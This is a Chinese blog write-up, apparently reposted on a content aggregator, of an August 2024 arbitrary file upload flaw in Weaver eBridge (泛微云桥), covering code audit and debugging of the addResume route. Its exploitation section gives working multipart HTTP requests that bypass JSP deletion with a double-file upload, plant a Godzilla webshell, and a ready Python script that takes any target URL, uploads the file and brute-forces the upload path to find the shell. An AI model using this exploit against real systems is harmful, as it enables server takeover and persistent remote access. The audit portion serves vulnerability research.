泛微云桥前台文件上传漏洞-202408

news2024/11/15 17:41:35

漏洞简介

2024 年 8 月份新出漏洞,泛微云桥任意文件上传漏洞,详情如图所示。
image.png

环境搭建

1、下载漏洞环境。
https://wx.weaver.com.cn/download
image.png
2、运行install64.bat,安装环境。
image.png

3、安装成功界面。
未安装补丁,系统不能使用,但漏洞可正常测试。
image.png

4、补丁安装下载这个。
image.png
安装要求:
image.png

代码审计

业务代码存在于:/Desktop/ebridge/tomcat/webapps/ROOT/WEB-INF/weaver/
image.png

静态代码分析

  • 入口点路由

包路径:weaver.weixin.app.recruit.controller
路由:@ActionKey(“/wxclient/app/recruit/resume/addResume”)#addResume()

public void addResume() throws Exception {
try {
    // 从请求中获取上传文件,并限制文件大小为2M
    WxBaseFile wbFile = this.getWxBaseFile(this.wxBaseFileService, this.getPara("fileElementId"), (String)null, 2097152, (String)null);

    // 从请求参数中获取简历模型
    ResumeModel model = (ResumeModel)this.getModel(ResumeModel.class, "resume");

    // 如果获取到了上传的文件,则将文件 ID 设置到简历模型的 "accessory" 字段中
    if (wbFile != null) {
        model.set("accessory", wbFile.getId());
    }

    // 调用简历服务的添加简历方法,传递简历模型和 sysagentid 参数
    if (this.resumeService.addResume(model, this.getPara("sysagentid"))) {
        // 如果添加成功,则返回成功的 JSON 消息
        this.renderJsonMsgForIE("提交成功", true);
    } else {
        // 如果添加失败,则返回失败的 JSON 消息
        this.renderJsonMsgForIE("提交失败", false);
    }

image.png

  • 调用getWxBaseFile()方法

通过 jd-gui (可以编译后字节码文件中搜索)查找getWxBaseFile()方法。

public WxBaseFile getWxBaseFile(WxBaseFileService wxBaseFileService, String parameterName, String filePath, int fileMaxSize, String fileEncoding)
    throws Exception
{
    // 检查 'filePath' 是否为空。如果为空,则使用 'FileUploadTools.getRandomFilePath()' 方法生成一个随机的文件路径,否则使用提供的 'filePath'。
    String _filePath = StrKit.isBlank(filePath) ? FileUploadTools.getRandomFilePath() : filePath;

    // 检查 'fileMaxSize' 是否为 -1。如果是,则使用 'FileUploadTools.getMaxSize()' 方法获取最大文件大小,否则使用提供的 'fileMaxSize'。
    int _fileMaxSize = fileMaxSize == -1 ? FileUploadTools.getMaxSize() : fileMaxSize;

    // 检查 'fileEncoding' 是否为空。如果为空,则使用 'FileUploadTools.getEncoding()' 方法获取默认文件编码,否则使用提供的 'fileEncoding'。
    String _fileEncoding = StrKit.isBlank(fileEncoding) ? FileUploadTools.getEncoding() : fileEncoding;

    UploadFile uf = null;
    try {
        // !!!使用 'getFile' 方法获取文件,传入 'parameterName'、'_filePath'、'_fileMaxSize' 和 '_fileEncoding' 作为参数。
        uf = getFile(parameterName, _filePath, Integer.valueOf(_fileMaxSize), _fileEncoding);
    }
    catch (Exception e) {
        throw e;
    }

    // 使用 'wxBaseFileService' 的 'parseUploadFile' 方法解析上传文件,并传入 'uf' (UploadFile) 对象。
    return parseUploadFile(wxBaseFileService, uf);
}

image.png
image.png

  • 调用getFile()方法

直接 command + 鼠标点击即可跳转到 getFiles() 方法。
image.png

image.png

  • getFiles() -> new MultipartRequest(xxxxx)

image.png

  • MultipartRequest() -> wrapMultipartRequest()

image.png
image.png

  • wrapMultipartRequest() -> new com.oreilly.servlet.MultipartRequest(xxxxx)

image.png

  • MultipartRequest()

image.png
继续往下。
文件写入操作。
image.png
filePart.writeTo(dir) --> new BufferedOutputStream (new File0utputStream (file)); 调用文件输出流写入文件。
image.png

动态调试准备

1)先停止ebridge_tomcat服务。
image.png

2)将打开调试端口的代码放入 tomcat 中的 starup.bat(\ebridge\tomcat\bin)文件中。

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005

image.png

3)启动 startup.bat,成功开放调试端口 5005。
image.png

4)idea 配置远程调试。
本地使用 idea 打开项目文件。
image.png

5)将依赖库加入项目。
image.png

6)客户端 jdk 要跟服务端对应。
image.png
服务端:
image.png

7)尝试连接调试端口。
image.png
连接成功。
image.png

8)在漏洞代码位置打个断点,点击小蜘蛛。
image.png
发送漏洞数据包,成功在断点处停止。
image.png

动态调试分析

觉得有可以分析的点,就在哪里打断点,然后再发包,到这步看看。🏁
image.png

文件输出流。
image.png
发送双文件写入数据包,发现 2222222222.jsp 被删除了。
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/27bbe0bc13dd4616a2911c7a1b0a8c96.png
image.png

双文件上传绕过 jsp 文件删除检测,其实是JFinal依赖包的漏洞。
详见:https://mp.weixin.qq.com/s/gx1qQnOPUIMCia-By5QHlA

总结

  • 静态分析代码流程:先看方法有没有声明,没有声明使用 jd-gui 反编译工具 search 搜索要跳转的类方法,定位到后再去 idea 里查看有无声明,再无声明可结合 jd-gui、jar-analyzer工具搜索查找。
  • 动态分析:每一步都可以打断点动态分析一下,可以随时在每一步骤中用到的方法进行断点分析。

漏洞利用

1、查看补丁号方法:http://172.16.199.142:8088/main/verinfo(图为安全版本)
image.png

2、双文件上传绕过删除.jsp文件功能,默认会删除222222.jsp,需要把要上传的文件内容放入第一个 jsp 中。

POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 172.16.199.134:8088
Content-Length: 358
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="111111.jsp"
Content-Type: application/octet-stream

111
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="222222.jsp"
Content-Type: application/octet-stream

222
------WebKitFormBoundaryD5Mawpg068t7pbxZ--


3、传入哥斯拉webshell。
webshell:http://172.16.199.134:8088/upload/202408/G/images.%6a%73%70

POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 172.16.199.134:8088
Content-Length: 3141
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="images1.jsp"
Content-Type: application/octet-stream

webshell
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="images2.jsp"
Content-Type: application/octet-stream

123
------WebKitFormBoundaryD5Mawpg068t7pbxZ--


在这里插入图片描述

访问 webshell,后缀 url 编码下才可正常访问。
image.png
image.png
注意路径中的大写字母,老版本随机大写字母 1 位,新版本随机大写字母 2位数。

自动化利用

由于在文件上传利用后需要爆破上传路径,此处编写 python 脚本进行自动化利用。

import argparse
import sys
import requests
from datetime import datetime
import time
import string
import urllib.request
import urllib.error

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'https://127.0.0.1:8080'
}


def request_post(host, timestamp):
    url = host + "/wxclient/app/recruit/resume/addResume?fileElementId=H"

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36',
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ',
    }
    shell = r'hello' #在此处替换文件上传内容
    body = '''------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="{0}.jsp"
Content-Type: application/octet-stream

{1}
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="2222222222.jsp"
Content-Type: application/octet-stream

123
------WebKitFormBoundaryD5Mawpg068t7pbxZ--'''.format(timestamp, shell)

    response = requests.post(url, headers=headers, data=body, verify=False)
    print("[*] 文件上传完成。")

def urllib_request(webshell):
    split_string = webshell.split("/")
    host = "/".join(split_string[2:3])

    headers = {
        'Host': host,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36',
        'Accept': '*/*',
        'Connection': 'close'
    }

    try:
        req = urllib.request.Request(webshell, headers=headers)
        response = urllib.request.urlopen(req)
        # print(response.read().decode('iso-8859-1'))
        # print(webshell)
        # print(response.status)
        if response.status == 200:
            print("[+] Webshell: " + webshell)
            sys.exit("[*] 已匹配 webshel(哥斯拉/imageType/pass/key)。")
    except urllib.error.URLError as e:
        pass


def main():
    banner = """

    泛微云文件上传桥漏洞脚本的 banner 

                         ---202408

"""

    print(banner)
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="Target URL: Example: http(s)://ip:port。")
    args = parser.parse_args()

    if args.url != None:
        if args.url.endswith('/'):
            args.url = args.url.rstrip('/')
        timestamp = int(time.time())

        request_post(args.url, timestamp)
        now = datetime.now()
        year = now.year
        month = now.month
        formatted_date = f"{year:04d}{month:02d}"
        uppercase_letters = string.ascii_uppercase
        for letter in uppercase_letters:
            # print(letter)
            webshell = args.url + "/upload/" + formatted_date + "/" + letter + "/" + str(timestamp) + ".js%70"
            urllib_request(webshell)
            time.sleep(0.1)

        for letter1 in uppercase_letters:
            for letter2 in uppercase_letters:
                letters = letter1 + letter2
                webshell = args.url + "/upload/" + formatted_date + "/" + letters + "/" + str(timestamp) + ".js%70"
                urllib_request(webshell)
                time.sleep(0.1)

        print("[-] 未找到Webshell。")


if __name__ == "__main__":
    main()

image.png

参考

https://mp.weixin.qq.com/s/_XGhSWT0k_prUbhRZ5MmrQ 分析文章
https://mp.weixin.qq.com/s/v9uyL_Vm8s4oAkfdZuoZFA 攻击复现
https://blog.csdn.net/qq_45533926/article/details/108246922 双文件上传

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2050166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java方法01:什么是方法

本节视频链接:Java方法01:什么是方法?_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV12J41137hu?p45&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5 Java中的‌方法‌是一段执行特定任务的代码片段,‌它是程序的基本构…

Keepalived:不只是心跳检测,更是高可用性的秘密武器

keepalived博客(Keepalived:不只是心跳检测,更是高可用性的秘密武器) 文章目录 keepalived博客(**Keepalived:不只是心跳检测,更是高可用性的秘密武器**)keepalived介绍概述工作原理核心模块应用场景配置与安装总结 keepalived基本…

工 厂设计模式

简单工厂模式 基本介绍 1) 简单工厂模式是属于创建型模式,是工厂模式的一种。 简单工厂模式是由一个工厂对象决定创建出哪一 种产品类 的实例。简单工厂模式是工厂模式家族中最简单实用的模式 2) 简单工厂模式:定义了一个创建对象的类,由这个类来 封装实例化对象的行为 (代…

从零开始学cv-6:图像的灰度变换

文章目录 一,简介:二、图像的线性变换三、分段线性变换四,非线性变换4.1 对数变换4.2 Gamma变换 五,效果: 一,简介: 图像灰度变换涉及对图像中每个像素的灰度值执行数学运算,进而调整图像的视觉…

Python基础和变量使用

1. 基础了解 1.1 运行方式 Python有多种运行方式,以下是几种常见的执行Python代码的方法: 交互式解释器: 打开终端或命令提示符,输入python或python3(取决于你的系统配置),即可进入Python交互…

HelpLook AI 知识库:为企业提供高效智能的知识管理解决方案

“管理就是把复杂的问题简单化,混乱的事情规范化。” 在当今竞争激烈的商业环境中,企业面临着快速变化的市场需求和日益复杂的业务流程。为了保持竞争力并提升运营效率,选择一款合适的知识管理系统至关重要。在众多选项中,HelpLoo…

day05--Vue

一、Vue入门 1.1入门案例 1.在页面中引入vue.js框架 2.定义vue对象 let app new Vue({ el:"#vue作用域的div标签id", data:{ //所有数据模型 }, methods:{ //页面中所有触发的js方法 }, created(){ //页面初始化,准备调用方法 } …

MODELSIM仿真报错解决记录

目录 问题:Modelsim报错:Error (10228): Verilog HDL error at Line_Shift_RAM_1Bit.v(39): module “Line_Shift_RAM_1 原因:创建的IP核放到了别的位置 解决方法:删掉IP核以及QIP等文件,将IP核创建到工程目录下 问…

vue3旋转木马型轮播图,环型滚动

<template><div><div class"content"><div class"but1" click"rotateLeft">--向左</div><div class"ccc"><main id"main"><div class"haha" ref"haha"&g…

垂直电商的兴衰与开源AI智能名片S2B2C商城系统的崛起:一场商业模式的革新

摘要&#xff1a;随着互联网技术的飞速发展&#xff0c;电子商务行业经历了从萌芽到繁荣再到精细化分化的历程。垂直电商作为电商领域的一个重要分支&#xff0c;曾因其聚焦细分市场、满足特定用户需求、产品标准化及快速整合供应链等优势&#xff0c;吸引了大量资本的关注。然…

Ubuntu上安装Redis的详细教程

1、安装redis 首先&#xff0c;访问Redis官网&#xff0c;点击首页的【Get Started】&#xff0c;然后点击Install Redis on Linux 安装 终端依次输入以下命令&#xff0c;如果过程中没有错误提示&#xff0c;则redis安装完成。 sudo apt install lsb-release curl gpg cu…

【前端】NodeJS:会话控制

文章目录 1 介绍2 cookie2.1 cookie是什么2.2 cookie的特点2.3 cookie的运行流程2.4 浏览器操作cookie2.5 cookie的代码操作 3 session3.1 session是什么3.2 session的作用3.3 session运行流程3.4 session的代码操作 4 session和cookie的区别5 token5.1 token是什么5.2 token的…

网络安全之xss靶场练习

目录 一、xss靶场练习 1、Ma Spaghet! 2、Jefff 第一个方法 第二个方法 3、Ugandan Knuckles 4、Ricardo Milos 5、Ah Thats Hawt 6、Ligma 7、Mafia​编辑 8、Ok, Boomer 一、xss靶场练习 靶场地址 https://xss.pwnfunction.com/ 页面显示如下 1、Ma Spaghet! 分析…

旧版Pycharm支持的python版本记录

版权声明&#xff1a;本文为博主原创文章&#xff0c;如需转载请贴上原博文链接&#xff1a;旧版Pycharm支持的python版本记录-CSDN博客 前言&#xff1a;近期由于打算研究GitHub上一个开源量化交易平台开发框架&#xff0c;但是该框架是基于python3.10的版本开发&#xff0c;所…

海康VisionMaster使用学习笔记5-开机自启动

开机自启动 在实际应用中&#xff0c;用户会希望机台上电开机后&#xff0c;软件能自启动避免现场人员误操作&#xff0c;减少机台重新上电时的操作步骤以提升效率。 设置 打开VM,点击设置,软件设置->开机自启动->勾选开机自启动->确定 默认运行界面 启动时以设定的…

MapReduce原理和操作

目录 一、MapReduce开发1. 数据处理的过程&#xff08;MapReduce&#xff09;2. 入门案例 二、MapReduce的高级特性1. 序列化2. 排序3. 分区4. Combiner——合并5. Shuffle——洗牌 一、MapReduce开发 1. 数据处理的过程&#xff08;MapReduce&#xff09; 注意 JobMapReduce&…

不同操作系统中如何搭建RabbitMQ开发环境?

大家好&#xff0c;我是袁庭新。今天介绍在不同操作系统中如何搭建RabbitMQ开发环境&#xff1f; 在使用RabbitMQ之前必须预先安装配置&#xff0c;参考RabbitMQ官网说明&#xff0c;RabbitMQ支持多平台安装&#xff0c;例如Linux、Windows、macOS、Docker等。不同架构的芯片对…

通过电影之镜,探索美的无限可能

通过电影之镜&#xff0c;探索美的无限可能&#xff1a;以《至爱梵高星空之谜》、《阳光灿烂的日子》与《这个杀手不太冷》为例 在光影交错的世界里&#xff0c;电影不仅是故事的讲述者&#xff0c;更是审美的引领者。三部风格迥异却同样引人入胜的电影——《至爱梵高星空之谜…

SSM学生社团管理系统—计算机毕业设计源码无偿分享20360

目 录 摘要 1 绪论 1.1 研究背景 1.2 研究意义 1.3论文结构与章节安排 2 学生社团管理系统系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据增加流程 2.2.2 数据修改流程 2.2.3 数据删除流程 2.3 系统功能分析 2.3.1 功能性分析 2.3.2 非功能性分析 2.4 系…

海康VisionMaster使用学习笔记8-OKNG计数方案

OKNG计数方案 1. 添加图像源 2. 添加圆弧边缘缺陷检测 基本参数 自行绘制ROI,在图像上拖动小圆,圈住被测物 运行参数 边缘类型:选择最强边缘极性:由黑到白 缺陷距离阈值: 10 结果显示 为方便查看,文本显示内容设置为:检测结果:{} 光标移动到{}中间,选择模块状态 执行结果…